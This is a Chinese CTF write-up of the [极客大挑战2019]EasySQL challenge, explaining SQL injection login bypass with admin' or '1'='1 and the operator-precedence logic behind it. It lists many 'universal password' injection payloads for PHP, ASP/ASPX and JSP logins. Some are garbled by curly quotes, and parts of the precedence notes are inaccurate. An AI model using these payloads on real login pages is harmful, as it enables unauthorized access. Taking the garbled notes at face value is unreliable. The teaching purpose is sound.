【WEB】[极客大挑战2019]EasySQL WP

本文通过极客大挑战2019的EasySQL题目,介绍了SQL注入中的万能密码原理。讲解了当网站后台未过滤单引号时,如何利用万能密码进行SQL注入,包括万能密码的逻辑运算符优先级和多种表现形式。同时列举了PHP、ASP/ASPX和JSP环境下的万能密码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0X0000000000000001 审题初始界面

其实由题目可以知道这是道SQL注入,然后看到登录,首先尝试万能密码:

admin’ or ‘1’='1(红色部分为切入点,其他随意)    这道题的username随便

Got it

如名字所说,这是一道很ez的SQL注入
通过这道题,我们来延伸一下其他东西

0X0000000000000002 关于万能密码

为什么在注入的时候输入万能密码就可以进入呢,对于所有万能密码,都是”万能“的吗?
那么首先,让我们清楚

SQL注入-万能密码的注入原理

  • 0_用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
//用户登陆时,后台执行的数据库查询操作
Select user_id,user_type,email From users Where user_id='用户名' And password='密码' 
  • 1_网站后台在进行数据库查询的时候没有对单引号)进行过滤,当输入用户名和万能密码【2 'or '1】的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' or '1'
  • 2_SQL语句中逻辑运算符具有优先级

利用万能的互联网,优先级从上往下,由
:=     对变量赋值
||, OR, XOR     管道符(将前面语句作为条件,执行符号后面的语句),或(条件满足其一即返回值),异或(str1与str2比较,相同为0,不同为1)
&&, AND
NOT    否定之后的所有条件
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

由于这些优先级,SQL语句在后台解析的时候:

Select user_id,user_type,email From users Where user_id='admin' And password='2' 和'1'

两句bool进行逻辑or运算,恒为TRUE.

了解了原理过后,万能密码又有哪些呢

万能密码归纳

php:

‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–

asp aspx:

"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’

jsp :

1’or’1’=‘1
admin’ or 1=1/*

  • 补充:

网上还看到师傅用sqlmap一把梭,我不是很会用sqlmap
点击跳转——>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值